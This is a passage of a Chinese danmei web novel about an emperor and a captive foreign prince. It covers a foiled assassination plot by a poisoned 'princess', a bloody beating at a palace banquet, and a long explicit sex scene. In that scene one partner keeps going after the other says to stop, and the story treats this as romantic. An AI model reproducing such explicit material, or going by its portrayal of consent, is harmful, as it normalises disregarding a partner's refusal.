师离忱砸吧了一下嘴,忽地伸手捏住裴郁璟的后颈,俯身过去吻住了他的唇瓣,试图把这股药味散过去。 裴郁璟不忍手上的药酒染到师离忱身上,克制了会儿,没抵住诱惑,身子往前压了压,反叼住了圣上的下唇,使劲嘬了一口,“现在算不算圣上对我耍。流。氓?” “属狗的你。”师离忱退开,心里头也舒服了,轻踹了踹裴郁璟,“快些,朕乏了。” 背上的淤青还没推呢。 * 国书寄出。 南晋得到信,让和亲公主即刻启程,另外又派了使臣前来。 不过碍于有使臣死过的前车之鉴,南晋因为谁出使这事又相互推诿折腾了一番,才得下定论,由二皇子出使,以表对此次和亲的重视。 师离忱把探子来信放下,瞥眼瞧见窗户边缘,悄悄冒出来的一个摇晃的风车,哼笑道:“幼稚,出来。” 师旭趴在窗沿,手里拿着风车拨弄着,“皇兄,伤好些了吗?” 师离忱懒洋洋道:“你要是不来烦朕,朕好得或许快一些。” “那完蛋了。”师旭道,“皇兄怎么知道臣弟最近打算住在宫中?” 师离忱揉了揉眉心,“你这么闲,不如去大理寺帮一帮夏时重办案,再不济……” 话头一顿,他忽然想起搁置许久的出海规划,在旁边的奏折堆里找了找,丢给了师旭,“顺庆府渡口有胡商停靠,前些日子收到顺庆州府的奏疏,说是截住了今年过来的胡商,朕真愁安排谁去,你瞧瞧看有没有兴趣去办。” 师旭打开看了两眼,又将目光落在师离忱身上,叹道:“……皇兄就知道打发我去远的地方。” 师离忱垂眼抿一口茶,不答。 师旭抱着奏折,应道:“知道了,皇兄给我拨调两个人,这就去办。” 师离忱颔首:“注意安全,去吧。” * 鞑靼势头太过凶猛,南晋急于寻求出路,以最快的速度将和亲公主送至边关,月商派出了房云哲与穆子秋一同接应。 待到初秋一过,临近月圆时,刚好护送到了京都城外。福生奉旨在城外候着,截停了使团。 马车内。 南晋二皇子咳嗽剧烈,“怎么了?” 福生笑眯眯道:“圣上口谕,邀使团于驿站歇息,不必入宫觐见。” 这只是体面的说法,若是重视便该让出使的使者打理过后立即入宫,而非随意安置在驿站。 闻言,穆子秋的嘴角逐渐上扬,压都压不下。见状,房云哲给他使了个眼神,示意他注意表情。 马车内安静了片刻,随后车厢门被打开,一个神态虚弱的青年走出来,似乎并未因被怠慢而恼怒,温文尔雅地道:“听闻七皇弟在月商深得帝心,现居宫中。他和本殿是一母同胞的兄弟,来月商有近一年,母妃与我都十分想念他,还望公公将本殿的思念之情,转达一番。” 福生拘礼,笑面道:“咱家尽力。” 此时。 另一辆马车中,传来女子的声音,“二皇兄,先进城吧,你我舟车劳顿,也需时间先修整一番。” …… 护送使团的房云哲与穆子秋回去述职。 这会儿乐福安已经重新回到御前。只是他发现,他之前的活全被裴郁璟这小子给抢了,他竟无半点用武之地! 福生回宫后,将京都城外发生的事,与圣上仔细回禀。 师离忱问裴郁璟,“你可要出宫见一见?” 裴郁璟嗤道:“迟早要摆宫宴,宫宴上能见,私底下就不去了,又不是真有什么深厚的情谊。” 师离忱笑了笑,转手命监察司盯紧这帮南晋来的使团,又安排死士盯着太后以及与镇国公相关之人。 好不容易南晋和亲使团到了京都,他不信太后能坐得住。 当然。 也要留一点缝,给他们下手的机会。 师离忱垂眸,心情颇好的在纸上提字,朱笔赤红如血描出几道痕迹……不给缝,又怎能师出有名的发作?虽然他并不在意什么正当理由,但镇国公在意,怎好让老臣寒心。 他必须要让镇国公看清楚。 * 寿安宫。 收到南晋使团到京都的消息,太后捏紧了衣袖。 镜中她低垂着头,神情游移,不知想到什么,蓦然站起,将桌上的木梳砸向了镜子! “去告诉他们。”穆锦绣道,“哀家答应了,一切照计划行事。”她身后梳头的宫女,低声应了,随后退出殿内。 …… 转眼到了宫宴。 涉及两国和亲,官员携其家眷出席,也不再分殿分席,而是一同出席于太极宫。 太极宫有时会召集内阁议政,地方大,容纳得下诸多席位且不拥挤,而男方在左侧,女方在右侧,隔开一定的距离,按照位分相坐,不会叫人尴尬。 御史台的御史早就做好和南晋使团打嘴仗的准备。 可惜这回来的使团,格外安分,恭恭敬敬的上殿,恭恭敬敬的行礼入座,没有半分逾举,倒叫他们的准备毫无用武之地。 师离忱浅笑着咽下一口酒水,睨了眼南晋二皇子,“听闻南晋帝年事已高,不知身子近来可好?” “还算尚可,只不过父皇一直惦记着在月商的七弟,食不下咽寝不安宁。”裴敬元叹道,“却不知七弟如此得圣上厚爱。” 说话间,他瞥了眼就座与师离忱下首的裴郁璟。 裴郁璟的座和师离忱的挨得很近,这并不合规矩,但月商百官只当瞧不见,别管无用的闲事对谁都好。 宫宴上的东西并不合师离忱的胃口,裴郁璟正在小心的挑鱼刺,圣上喜欢吃红烧的鱼。 这种鱼刺多,不好提前剔除,御厨倒是可以在片好鱼肉后,一根根把刺拔出来,可哪样反倒失了味道,师离忱又不爱吃了。 裴郁璟便有了给圣上剔鱼刺的习惯,他将碟子里的鱼肉呈到师离忱前头,瞥一眼裴敬元,“圣上不厚爱我,难道厚爱你?” 此话一出,文武百官开始装聋了。 莽夫说话便是如此直白。师离忱被他这话逗得低笑两声,悄悄捏了捏他的手,转眸对裴敬元道,“二皇子恐怕得和南晋帝说一声,朕喜欢郁璟喜欢的紧,实在舍不得放他回去。” 裴敬元用帕子捂唇咳嗽了两声,视线扫过裴郁璟时露出一瞬阴狠,转而低眉顺眼道:“那便劳烦圣上,多多照看七弟。” 谈话间。 郞义绕进殿中,在师离忱身侧附耳低言了几句。没别的,也就是太后借机想做点什么,弄好了陷阱,等着他跳呢。 师离忱唇勾了勾,往后靠了靠,轻慢地笑了一声,抬指示意郞义下去。 师离忱温声道:“月商的青年才俊皆在此,公主这些日子便在京都城中好好住上几日,看看可有瞧得上眼的。” 和亲公主俯首应了声。 师离忱起身,“朕乏了,诸位自便。” 裴郁璟正要跟上,师离忱侧目,意味深长道:“你兄弟千里迢迢而来,别让他失望。” 裴郁璟回首,瞥向裴敬元。 他停顿片刻,蓦然一笑,森森道:“好啊。” 第79章 师离忱刚走不久。 裴敬元便不着痕迹的与对面的和亲公主对视一眼,和亲公主了然,和一旁的宫女低声说了几句,便被带离了席间。 并无人在意。 …… 皇城内庭灯火通明。 小宫女在前方引路,女眷更衣,旁人需得回避,至僻静处小宫女后颈一疼,陡然被绞晕过去。 和亲公主后退一步,目光冷静,任由小宫女倒在眼前,对上身旁出现的另一名宫女,神色不见任何紧张。 “公主,这边。” 宫女福身,将人往另一个方向带去,同时将一个精巧小盒送到公主手中,里头装着剧毒,细声细气道:“先吃解药,在将口脂涂上,吃一点必死。事成后拿另外半分解药,事不成……” “他不死,你死。” 闻言,公主无半分犹豫,吞下一枚药丸后打开盒子,用指腹蘸取口脂,把唇色染得鲜艳。 * 太极宫。 宫宴继续。 裴郁璟大马金刀地落座位上,盯着裴敬元,示意内侍给他倒酒,指尖在桌面轻点笑意森森—— “皇兄,喝啊。” 此刻裴敬元面色已然有些不好,这并非是第一杯,而是第八杯,从最开始为了彰谢他千里迢迢带来母国消息,到后头一点理由都不想找,直接倒盏催喝,完完全全瞧不出半分兄友弟恭。 更像是寻仇。 哪怕是一旁的百官也察觉到了气氛之微妙,聊天议论声都渐渐小去,将关注点落在了二位南晋皇子身上。 见裴敬元迟迟不动,殿内响起裴郁璟骤然低冷的嗓音。 “喝。” 裴敬元想找借口,却听裴郁璟道:“皇兄可要想好了,圣上命我代为招待,你若不喝便是对月商陛下不敬,怕是有碍于两国邦交……” 这顶帽子扣下,瞬间将裴敬元要说的话堵了回去。他侧目看了看周围官员扫视过来的目光,咬咬牙,提杯一饮而尽。 一杯空,又被倒上一杯满。 “喝。” 空一杯,又倒一杯。 “喝。” “……”裴敬元实在喝不下,脸色惨白,握着酒杯的手有些发颤。见状,跟随进宫的南晋侍从提醒道:“七殿下,我家殿下身子不好怕是不能再喝……” 裴敬元也想顺着台阶下,抬眼便对上一双森寒的眼眸,他脊背陡然发凉,一瞬间脑中回忆起许多血腥场面。 裴郁璟神情阴鸷地看着裴敬元,就像是看路边的一滩烂泥,语调平静无波:“我说,喝。” 不是商量,是命令。 裴敬元强撑着,又喝下一杯,这一杯下肚他立刻用手绢捂住了唇,猛烈咳嗽了起来,帕子拿开上头一滩血渍。 此时宴上已然鸦雀无声。 或明或暗的视线都在往这边瞟。 侍从急切道:“二殿下!” 这会儿,裴郁璟一步步走下台阶,坐在那儿尚且叫人不能忽视,一站起来给人的压迫感便更强烈了,将光影全部遮挡,宛若一座不可逾越的大山。 他手里拿着酒盏走到裴敬元案前,嘴角带起一抹森然的笑,“这杯,是我敬皇兄的,皇兄不能推脱了吧?” 裴敬元虚弱道:“七弟……啊!”话未说完,头上骤痛。裴敬元被一把扯住了后脑,半个身子都被拉出了前案,裴郁璟目光森冷,像提着一个死狗畜生般将他拽了出来,硬按他灌下了这杯酒。 侍从大骇惊诧,却不敢上前阻挠。 裴郁璟像抓鸡崽似的一边将半个杯盏都塞到裴敬元口中,一边慢条斯理地和宴上众人道:“有请诸位大臣做个见证,我们兄弟间在宫宴上闹了点小矛盾,圣上也知道,诸位大人就当没看见?” 众人顿时错开视线,嘻嘻哈哈地看天顶看地看桌,一派装聋作哑之相。 “裴郁璟,你!” 裴敬元反应过来,正要怒骂,在对上裴郁璟闪过暴戾杀气的眼神后,忽然有一种难以言喻的恐惧感。 下一瞬。 “咚!” 前额撞案。 裴郁璟面无表情,手里的脑袋好像不是脑袋,是一颗球,他只是让这颗球用力的撞上长案。 撞得碗碟酒盏饭菜打翻,全都堆在裴敬元身上,撞得长案破碎成块,烂成一团,撞得他不知死活,血肉模糊,连叫都叫不出来,只剩一口气在。 裴郁璟嫌恶心,松手任由他和满地狼藉躺在一块,踩在他背上的脚宛若踩着一条微不足道的凳子。 他屈尊降贵地俯身,压低嗓音用仅有两个人能听到的声音,恶声恶气道:“想拿月商帝的脑袋立功啊?你有几条命,敢在我眼皮底下做这种事?找死的玩意!” 这场面无疑是恐怖的。 众人这回是真开始装瞎了,南晋皇子与南晋皇子之间的矛盾,他们不好言语。 但能光明正大闹成这样的,还是头一回见,表面功夫都懒得做,这是奔着要命去的。 裴敬元已然只剩进的气,少见出的气。 “你家二皇子不胜酒力,睡着了。”拿过福生递来的帕子,裴郁璟慢条斯理的擦拭着手,轻描淡写地宣布道,“快送下去休息吧。” 众人:好一个睡着了! 登时在场的众人看裴郁璟的眼神都变了,当然也有经验老道的已经开始琢磨,这事到底是圣上授意,或者单纯只是裴郁璟个人行为。 * 与此同时。 紫宸殿,炉中香缓缓在殿中燃起。 殿门被悄然打开,和亲公主入殿,扫视一圈,只见龙榻床帐遮掩,隐约看到软衾之下躺着一道身影,似乎燥热在翻来覆去。 她解开腰带,半遮掩地靠近床榻,伸手往榻上摸去,掐着嗓子道:“圣上……” 忽然间手被撺住,软衾翻开露出乐福安的一张老脸,皮笑肉不笑道:“公主,您怎么来这儿了?” 这时。 外头传出一阵动乱,被引开的金吾卫又重新回来了。 郞义一脚踹开了门,做为内应给公主带路的宫女,已然被压下。 师离忱坐于宽椅之中,懒洋洋地搭着扶手,瞥向殿内,“公主夜探朕的寝宫,这是何道理啊?” 眼见事态有变,和亲公主起身,娇娇弱弱地道:“席间一见圣上倾心,再也容不得旁人身影,圣上莫非是瞧不上我?” 说话间,她向殿外的师离忱款款走去,她走得很有技巧,每一步都尽显风姿,步摇耳坠轻晃,唇红脖长。 金吾卫不少血气方刚的大小伙,有一些羞红着撇开了眼。也有的目不斜视,视粉红为骷髅。 就在这时。 和亲公主神情陡然一厉,拔下头上步摇,以簪成剑刺向师离忱。 眼见簪尖要触碰到师离忱的刹那,被郞义抓住了肩膀,按倒在地,迅速卸掉了下巴,避免当场自尽,手法简单粗暴。 师离忱低笑两声,对郞义道:“你瞧你,对姑娘家要温柔些,来人,给她披件衣裳。” 这衣冠不整的,到底有碍风化。师离忱噙着笑,转而又对上和亲公主的眼睛,不疾不徐道:“有一点你说的对,朕确实瞧不上你。南晋的金枝玉叶摆不出这般姿态,你到底是东施效颦,也太心急了。” 太后也确实了解他,知道宫宴过后,这些南晋使臣不会再有靠近皇宫的机会,才会铤而走险,选择直接在今日行动。 南晋并非只有求援月商一条道。 南晋帝很清楚,一时的求和未必能带来真正的利益。 月商帝死了,那就不一样了。 国无主,鞑靼针对谁可就不一定。二皇子一方在党争里输给了四皇子,他作为使臣,是一颗被南晋帝放弃的棋子。 弃子也有用,用来让师离忱放松警惕,用于让月商百官相信,南晋是真心实意想促成这次和亲。 真皇子送假公主。 杀皇帝,或自戕。 可惜选错了人,选了鹿亲王这么个蠢猪,提前暴露,让师离忱挖到了真相,便顺水推舟,以身入局,瓮中捉鳖—— 专门为他们开一条门缝,玩了场过家家。 证据一齐。 罪名即刻成立。 金吾卫陆续将涉及此事的太监宫女们压到殿前,宫女身上的胭脂盒被太医查验,有毒的胭脂与公主的口脂相同。 这关系,太后撇不清。 师离忱道:“去请太后,镇国公来。” 圣上属意将事闹大,自然不会有所隐瞒,很快京都城就会传出南晋和亲公主行刺圣上的消息。 涉事禁军家中已被大理寺查抄,地砖下铺着大片金银,与宫中采蔬司总管来往过密,证据确凿,供词画押,同样呈到御前。 镇国公急匆匆过来,来的路上便得知——禁军与前些日子叛乱的润州总兵有牵连,太后又与南晋暗探勾结,收买采蔬司太监,将探子扮做宫女藏在宫中。 深知此番不能善了,镇国公不再多做辩解,可胞妹不可抛,心累之余跪地重重俯首:“……臣愿一力承担罪责!” 师离忱转着玉戒,低声道:“国公何错之有啊。” 镇国公埋首道:“臣治下不严,未能肃正家风,劝阻太后……为臣不忠,为兄不义,还请圣上削臣爵位,许臣辞官回乡!” 此时。 太后也被请了过来。 殿前全然是肃目以待的金吾卫,被押解在地的采蔬司公公,带着证据来的大理寺卿,以及动弹不得的和亲公主。 听到镇国公此言,太后连连摇头,“不可,兄长,不可!”她面露愤慨地瞪向师离忱,“你,是你,你……” 师离忱撩起眼皮,睨了她一眼,“太后,朕提醒过你,谨言慎行,方可颐养天年。” 刹那间。 太后关窍打通,前后思过,再望向师离忱的眼神格外骇然,显然已经明白一切都是故意为之。 “太后啊,朕念在小十一的分上,待你已然足够宽容。” 师离忱笑容温柔,可在太后眼中便犹如在脖间收绞的白绫,一字一言分外诛心,道:“这些小儿手段,如过家家,你当这帮人是真来扶持你的?” 他点了点旁边的和亲公主,“都盼着朕今日一死,就大军南下,兵分两路瓜分月商,你猜边关这会儿是个什么景象?” 太后捂着心口,“你也敢提小十一……你也配提小十一!” “朕为何不能!”师离忱沉声道,“做亏心事的不是朕,是你自己当年的贪心害了他!别将罪过都落在朕头上!” 太后被震得一时说不出话。 满院静若寒蝉。 风闻声动。 镇国公闭了闭目,深吸一口气道:“穆家不出叛国之人,太后的心太大,穆家族谱容不了。” “朕并非那等薄情寡性之人。”师离忱靠回了椅子,看着镇国公道,“朕许你风光回乡,穆家子嗣不受其牵连,可继续从军,国公还是国公。” 只是手底下的那些支脉,要重新打散,由旁人接手。 没有皇帝希望,底下的武将被龙袍加身。 镇国公或许没有这个想法,他身边的人未必没有,眼看着镇国公威望一日比一日重,他身边的人,野心也会被一步一步喂大。 师离忱也曾犹豫过,是否如此。 他不能去赌所有人的人心。 一个无实权的太后,尚且会利用外戚势威办事。若镇国公身边有实权之人有异,只会更乱,更难掌控。 这种事师离忱尚未登基前就发生过一回,他不想待到日后起战时,再遇一回,必须要这个问题扼杀。 待到风头过去,再做打算不迟。 镇国公为官多年,看得透彻,释然地笑了笑道:“圣上宽仁,臣心中感怀,只是臣惋惜日后臣不能再上战场,有些遗憾罢了。” “未必。”师离忱轻声道,“好好休养吧,朕给你拨个太医。” * 剩余该发落的发落,该关押死牢的关押。太后与南晋使团串通谋害帝王,被被废除尊位赶往皇陵,为先帝守灵终身。 天子借题发挥,让宫人在宴上宣告出早早备好的圣旨。 南晋地广贫瘠,难以种活小麦,有一部分都是月商输送过去,他借题阻断了小麦向外输送,若有滞留由州府当地按价上收。 太后也被打包了连夜离宫。 离宫前,福生带着一个木盒前来相送。太后冷脸道:“你是来看哀家笑话的?” 福生笑容不卑不亢,将手中盒子转交给了太后身边的宫女,“这是当年十一皇子送给圣上的礼物。” “圣上说,太后胃口太大撑坏了肚子,却也是个有莲子之心的苦命人,便留给您做个念想吧。” 太后愣了愣。 福生不做多言,一如既往安安分分行了个礼,转身离去。 木盒打开,里面是一个针脚粗糙杂乱的布老虎,因是有些年头了,纵使是最好的布料也显出了陈旧感。 太后唇颤抖着嗫嚅了一下,眼睛里瞬间盈满泪水,再无往日阴狠。 第80章 紫宸殿暖情香的味,一时半会散不去,师离忱自然不愿意再住,暂时先搬去了暖阁。 乐福安扮做圣上在里头吸了两口,被太医署的人围着转。 其实师离忱原是想自己躺进去的,可乐福安发觉时暖情香后,死活要替师离忱受着。 师离忱和他吵了两句嘴,再吵下去就坏事了,干脆去了隔壁偏殿藏着。 好在乐福安并无大碍,太医署给他灌了两碗药,剩下就是躺着发汗休息,师离忱也松了口气。 回暖阁洗浴换上寝衣,回想着今日之事,疲累地揉了揉眉心。 殿门被轻轻推开又关上。 师离忱不必抬眼,便感知到靠近的熟悉气息,道:“给朕捏一捏肩。”肩上立刻落了一双大手,不轻不重地捏着,缓解了酸胀。 想起宫人来报,他笑了笑道:“你倒是潇洒,把裴敬元打成那样,还要朕替你背锅。” 裴郁璟却道:“圣上也没告诉我,太后会在殿中点暖情香啊。” 师离忱一顿。 片刻后。 他掀开眼皮,回首道:“你去过了。” 此刻裴郁璟面色沉着,眼底酝酿的阴翳久久不散,几乎是咬着后槽牙说话,“不去怎会知晓,那公主殿下差点爬了圣上的榻。” 他倾身,扯出一个阴恻恻的笑,“要不是福公公替圣上躺了那张榻,接下来是不是得发生点我不该知道的事了?” 听听,这阴阳怪气的劲。师离忱扬眉道,“巧了,朕也有话要问你。” 说话间,他掐住裴郁璟的下颌,指腹在他唇边轻轻摩挲着,目光对视,语气亲昵道:“如今机会正好,九苍……你想回南晋吗?” 二人距离很近。 近到能感受到对方的呼吸。 今日圣上在宫宴小酌了几杯,紫宸殿前闻了两口被风吹来的暖情香,虽无大碍,却难免受到一些影响,眼尾自然而然地带上一抹绯色,几分迷离萦绕在眉宇间,淡化了戾气,昳如妖孽。 低声说话时,犹如蛊惑人心。 裴郁璟注视着师离忱,喉间干涩地滚了滚,声音发哑:“南晋有什么好,你知道的,我恨不得摧毁那儿。” 师离忱低低一笑,道:“以你的本事,回南晋弄死那几个废物,自己做皇帝不是更好?要不然朕放你回去吧。” 话音刚落。 顿时裴郁璟捉住了师离忱的皓腕,语速极快的回答:“不去!”他似乎很怕被师离忱抛下,郑重道:“比起做皇帝,我更想做圣上手中的刀刃。” 闻言,师离忱莞尔道:“行啊,那朕让你做将军如何?” 这次怎么答应的那么爽快。裴郁璟发觉不对,默然一瞬,问道:“若我回答愿意回南晋去……?” 师离忱弯了弯眼梢,指腹按着裴郁璟的喉结拨弄,眸底全然是掩饰不住的喜爱,温柔道:“那朕就打一个金笼,玄铁做锁,保证你一辈子都会呆在里面……乖乖做朕的玩偶。” 那实在是…… “太好了!”裴郁璟激动地战栗,眼中藏匿的偏执在一瞬间全然破土而出,兴奋地翻身到了师离忱前方,紧紧盯着师离忱,“圣上想把我藏起来的话,一辈子会不会太短了?下辈子,下下辈子也一起好不好?” 他压抑着喘息,如同一头刚放出来恶极的野狼,神情带着难驯的野性,目光直勾勾不错地望着师离忱,病态的,痴狂的,迫切的想要…… 直到师离忱扬了扬下颌,在唇下点了点,被准许了,他才骤地扑上去,吻住天子绯红的双唇。 吃成嫩红的颜色。 …… 他太凶了。 师离忱好半晌喘不上气,恼怒地咬了咬裴郁璟舌尖,偏过头去。那凶猛的吻就落在了圆润小巧的耳垂,被叼着又亲又咬,酥软了全身。 诚然,师离忱意动。 他一向非常诚实的直面自己的所想,并去实现。 五指张开穿进裴郁璟后脑的发丝间,往下方压了压,命令道:“做。” 裴郁璟早已熟练,如今以口剥葡萄的技术是愈发娴熟。 哪儿都是香的。 收紧獠牙舌尖抵住。 “呃!” 师离忱轻轻拧眉,脖子后仰出一条流畅的弧度,张唇吐出一口气。 听到动静。 裴郁璟呼吸陡然急促了起来,口中的活路愈发灵活。他胆子大了,没有命令,也将手往上攀爬,试探地勾住圣上里衣的腰带。 他想要和天子再靠近一些,再靠近一些,距离再近……他克制到了双目猩红,眉眼透着一股凶狠的味道。 可意动的岂是他一个。 师离忱忽地道:“抱朕去榻上。” 裴郁璟松嘴,舔了舔嘴唇,一把捞过师离忱的腿弯,将人整个揽起,放进软衾当中。 此刻师离忱衣物凌乱,眸子半阖,冷白的皮肉与赤红的里衣形成鲜明对比,微卷墨发在周身脑后完全铺开,宛若一副美人水墨画。 他朝裴郁璟勾了勾手指,嗓音低哑:“……来。” 裴郁璟上了榻,欺身埋头就要继续刚才的动作。唇却忽地被捂住——师离忱阻挠了他。 裴郁璟微微一怔,抬头。 却见这会儿师离忱半支起了身子,紧紧盯着他的眼睛,屈膝踩着炙热碾了碾,歪了歪头,沙哑的声音慵懒:“朕懒得动……学过吗?会不会?” 说到后一句,他眯起眸子,大有不会就换人的架势。 刹那间。 裴郁璟浑身血液沸腾,似万千花开,再也压抑不了情绪,呼吸又急又重地吻上师离忱的唇。 凶猛又急切,生怕逃了似的,哪怕师离忱偏头躲还要追上去亲,不放松半分。 大掌拿住了天子薄薄的腰身,从唇瓣开始……一寸寸亲过去。 他在圣上白皙的肤上作画,烙印的痕迹成了点点红艳的花。 一边亲一边克制着喘息声,道:“我会,我学过,我会……” 这和先前的小打小闹不一样,也不是推淤青,这是真正的在品味珍馐,与冷白细腻的肌肤近距离接触,甚至可以是负距离,可以如愿以偿的用唇舌洗礼圣上每一寸肌肤。 热切的吻每每带过一个地方,都会撒下一片炙热的气息,还没真正开始师离忱竟有些受不住了,想躲却被桎梏了脚踝,圈禁在方寸之地。 乐福安面面俱到,自从圣上与裴郁璟关系变化微妙后,便在各处寝宫都放置了玉容膏,眼下正好便宜了裴郁璟。 指腹上捻了一些,观察着师离忱的神色,慢慢的动作深探宇宙的紧俏,将桃尖碾在舌尖。 “慢……” 师离忱声音发颤。 异样的触感,让他双手下意识揪住了软衾,五指稍稍用力抓紧,试图给这陌生的欢愉一个出口。 裴郁璟蹙眉克制着,连带浑身肌肉线条都全然紧绷,青筋也只能无奈跳动,宛若随时都能爆发出惊恐的力量,他沉淀着呼吸,强自压抑了心绪,偶尔能瞧见额角青筋鼓动,汗水划过绷紧的下颌。 只是此刻,他亢奋到了极点,眼睛里都是红血丝,静待开拓出新的领地。 直到时机成熟,便再也不能克制。 …… 师离忱整个人似是躺进棉花里,眼神迷离,忽地感到一空,下一瞬又被堵住,如陨星带来炙热的气息,烧得空气都是滚烫。 艰难的开了个苗头。 十分难耐,说不上好,也说不上不好。师离忱拧眉哼了一声,仰起下颌,光影使然,远远看去竟宛若白鹤般仰出了个叫人惊心动魄的弧度。 手指与实物的维度,终究有差别。 哪怕前期工作已经做到了极致,真正上岗的时候,前进照样是有难度,陨星几番划去之下,陌生感中竟出现一丝细微的疼痛。 师离忱拨开额间黏着的发丝,低头朦胧地浅看一眼。 不看不知,一看吓一跳。 艰难到了这般田地,居然只没了不到半寸! 瞧出师离忱的震惊,裴郁璟咬牙闷哼了声,为了大业将成,轻声哄着:“好圣上……” “狗东西,怎么长的!”师离忱本就嫌陨星过于庞大狰狞,这下好了,居然还叫他吃这份苦,当即不干了,“滚出去,滚出去!不做了!” 都到这份上了。 哪能叫停啊。 “我的好圣上……” 裴郁璟嗓音沉哑,一边托住圣上,一边吻住了师离忱的唇,亲去他的泪珠,然后驱动着陨星继续往前开拓宇宙。 就算被师离忱揪住后脑头发也舍不得退去,如同一只穷凶极恶的野狼,不肯放松半分。 他将师离忱捞起来坐在身上,加重的喘息像是烈火一般为气氛加了柴,为了伺候好圣上,他不断寻找宇宙的妙点,不断的又亲又咬,待圣上放松了些,陨星一鼓作气往里进了大半。 陨星找到了宇宙,他们终于融在了一起,一起发出心满意足地喟叹。 “……” 师离忱有片刻失神,没空揍人。 这叫裴郁璟捡了便宜,不徐不疾地叫陨星继续与宇宙发生碰撞。 …… 暖阁烛火轻跳,暖调的光为殿中打上朦胧的色彩。 平静的殿内,陡然响起清脆的巴掌声。 克制到了极点就是放纵,出了栅栏的凶兽这会儿完全展出了獠牙,发挥出他英勇的力气,陨星火热膨胀的厉害,完完全全要刻在宇宙的里,炸出星辰。 圣上不停谩骂。 “混账东西!” “慢,慢些!!” “别……” 实在恼怒之下,又扬起巴掌甩到了脸上,饶是巴掌的清脆之声也盖不过声响。 甚至会将情绪刺激得更严重,兴奋,让对方愈发猖獗放肆。 然后堵住师离忱的唇瓣,唇齿交缠,剧烈的呼吸交错,把还要继续骂的声音全都堵回嘴中,再低声细语的悉心安抚。 好不容易摘得明月的裴郁璟怎可能轻言放弃,宛若波涛翻滚的大海,越来越汹涌澎湃,卷过海岸。 撞得师离忱声音破碎,让帝王抓住软衾的手改为抓他结实的臂膀,用力挠出一道道血痕。 师离忱气性大,硬是要给裴郁璟教训。 裴郁璟眉眼沉压全然是难驯的野性,被揍之后也把脸递过去,揉一揉圣上的手心。 如一只彻底放开的恶兽,恶狠狠的一下又一下,顶撞他心中的明月。 他的天上仙。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 星辰斗转,月落日起。 天幕翻出一抹白肚,鸟啼落树梢。 明明裴郁璟就来了两回,可师离忱却觉得像是被拆开嚼了一整晚,碎成软绵绵的一团,眼下连一根手指头都抬不起来,躲在火球旁沉沉睡了过去。 好在身子轻便,睡前被清理得很干净。 与之不同的是。 裴郁璟神采奕奕地睁着眼,舍不得松开师离忱的腰身,把人按在怀里裹紧,带着薄茧的指腹在细腻的皮肤上细细摩挲,一眨不眨地凝视着圣上绕带倦意的睡相。 他脸上巴掌印清晰可见,除此之外下颌还有师离忱气恼之下咬出来的牙印,不止如此,还有后背,胸膛,臂膀…… 全都是他不听命令,得来的惩罚。 裴郁璟舔着发干的嘴唇,回忆起昨夜,有些食之味髓,圣上又是头一回,他不好闹得太过分。 只是有些事实在控制不了,眼看着师离忱被他欺负得太狠了,身子都在止不住的颤栗,那张芙蓉面上不仅仅是欢愉的红晕,还有发不出来的怒气。 裴郁璟一面担心师离忱的身体,晕过去就不好了,便只能就此作罢。 人一旦尝过好的,就会一直惦记。 比如现在。 大清早就直勾勾地望着圣上,将高挺地鼻梁抵在圣上的颈窝,拱一拱,然后往下不轻不重地舔咬上两口解馋。 …… 腰侧被带着薄茧的手指抚得发痒,又感受到炙热的呼吸洒在肌肤上,十分烫人。师离忱终于彻底清醒过来,一睁眼便瞧见怀里拱着的脑袋。 此刻二人皆在软衾之中,被窝里本是暖烘烘的,可裴郁璟钻在师离忱怀里一拱一拱时,有凉气从缝隙钻进来。 被冷气刺激到了。 师离忱模模糊糊间,下意识往热源的方向靠了靠,这下好了,入了虎口,瞬间被搂得更紧了,又被舌尖狠狠碾压了昨夜吃出的熟红。 这狗东西。 师离忱忍不住倒吸一口凉气,彻底清醒。 “……嗯?” 察觉到呼吸变化,裴郁璟头也没抬的打招呼,甚至没舍得松嘴轻咬了两下,“圣上醒了?” 嗓音低沉喑哑,在晨间里似有一丝潜藏的危险。 下一瞬,他头皮骤然一疼,猛地被拉出软衾,拽离了心爱之地,只能被迫昂首看着师离忱。 看着堪堪苏醒的师离忱,眉眼还有尚未睡足的倦懒,他喉头不自觉滚动了一下,连带下颌紧绷的线条也跟着动了动。 昨夜闹得太狠,又是刚醒,师离忱声音沙哑,“大清早,发什么情。” 裴郁璟眼巴巴地看着师离忱,“一见你我就忍不住,感觉好些了吗?再来一回好不好?” 说着他不管不顾,想凑过去够师离忱的嘴角。 此言一出。 师离忱几乎是气笑了。 昨儿晚上的账还没算,倒是有人得寸进尺起来了!叫停不停,像有使不完的劲,差点没给他颠吐! “啪!” 一巴掌扇过去,觉得这样使不出力师离忱又坐身起来,照着裴郁璟的脸颊,反复连扇了四五个巴掌。 又响亮,又清脆。 虽然师离忱浑身软得要命,但巴掌力道却没减弱半分,打得他自己掌心都发麻发热,甩了甩手,扯住裴郁璟的脸颊,按着他的唇角使劲摩擦。 “再来?来什么?你也好意思提?!你怎么好意思提!!” 软衾下滑,衣带掉在身旁,里衣散开,露出大片风光,痕迹鲜明。 裴郁璟眼神情不自禁下滑,落到圣上纤细的腰身上,薄薄的肌理感,欢愉到极致时会微微发抖发颤。 彻底融入时,平坦紧实的小腹甚至会出现一点难察的微妙起伏。 思及此处,他笑容忽然变得有些诡异,俯身过去薄唇轻碰着吻了吻,嘴角弧度上扬,眉眼荡漾。 随后猛然被推开,等又一巴掌落下来的时候,裴郁璟直接昂脸接着,笑脸一点没变,还顺势叼住了师离忱的腕骨,面上未有丝毫怒意,用牙尖捧着,含糊其辞道:“圣上,手打疼了没?打一打别的地方好不好?” 说话间,他高挺的鼻梁顶在师离忱手心,深深嗅着,压抑着粗气,“踹我也行,圣上手嫩,别打伤了。” 师离忱:“……” 瞧他一副爽了的样子,师离忱真是打也不想打了,骂也不想骂了,扯过软衾裹着背过身躺了回去。 还没睡醒,眼皮子重得很,他闭上眼睛懒懒打了个哈欠。 谁知见他不计较,裴郁璟反倒更顺杆爬了。顷刻间,师离忱感觉小腹被炙热的掌心紧紧贴着,肩峰一丝酥麻。 圣上生得好,每一处都好,精细得像是被刻画出的玉人,后头的背骨如蝶,前头的肩峰与锁骨也形成一道优美的弧线。 裴郁璟恨不得一日十二个时辰都与之黏在一块。 肩峰本就被嘬成了红色,明晃晃地刻在白皙细腻的皮肤上,被他叼口中轻轻研磨了一番,似诱哄地低语道:“圣上唤我九苍,那圣上的小字是什么?我也想和圣上一样。” 只有最亲近之人,才能唤对方的小字,或是父母,或是夫妻,除此之外不会再有旁人。 